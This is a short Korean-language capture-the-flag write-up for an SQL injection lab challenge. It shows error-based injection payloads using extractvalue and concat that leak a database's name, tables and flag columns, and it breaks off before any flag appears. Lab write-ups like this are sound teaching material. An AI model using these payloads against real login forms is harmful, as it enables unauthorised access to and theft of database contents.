CTF : SQL Injection 4

DATE : 2023/12/09

CTF : SQL Injection 3과 동일하게 로그인 한 후, 바-로 SQL Injection 실행 가능 여부를 확인해본다.

normaltic' and '1'='1

SQL을 주입했음에도 302 found response를 받았다는 건, SQLi를 실행할 수 있다는 것!

SQL 실행 여부를 확인했으니 에러를 일으키긴 위한 Query를 짜보자.

normaltic' and (extractvalue('1',concat(0x3a, (select 'hanhxx')))) and '1'='1

":hanhxx" 문구가 에러에 포함될 것을 기대하며 실행해보면

성공적으로 에러 문구가 나오는 동시에, ":hanhxx"가 에러 속에 들어있음을 확인!

그렇다면 DB name부터 하나씩 알아가 보도록 하자.

normaltic' and (extractvalue('1',concat(0x3a, (select database())))) and '1'='1

database() 결과를 에러 속에 출력 시켜보면

> sqli_2_1

sqli_2_1 값을 얻을 수 있다.

normaltic' and (extractvalue('1',concat(0x3a, (select table_name from information_schema.tables where table_schme='sqli_2_1' limit 0,1)))) and '1'='1

바-로 table name으로 이어가 보면

첫 번째 table 이름은 flag_table

두 번째 table 이름은 member임을 알 수 있고

혹시 몰라 실행해봤지만, table은 2개만 들어있는 듯하다.

우리가 알고 싶은 값은 flag이기 때문에! 바로 flag_table을 탐색해보도록 하자.

normaltic' and (extractvalue('1',concat(0x3a, (select column_name from information_schema.columns where table_name='flag_table' limit 0,1)))) and '1'='1

첫 번째 column부터 확인해보면

flag_1

두 번째 column은 flag_2

세 번째, 네 번째, 쭉 가다보면 여덟 번째 column까지

확인할 수 있다.

일일이 보내기 귀찮으니 Intruder를 실행해 바로 결과를 확인해보면

총 8개의 response에 걸쳐

Last updated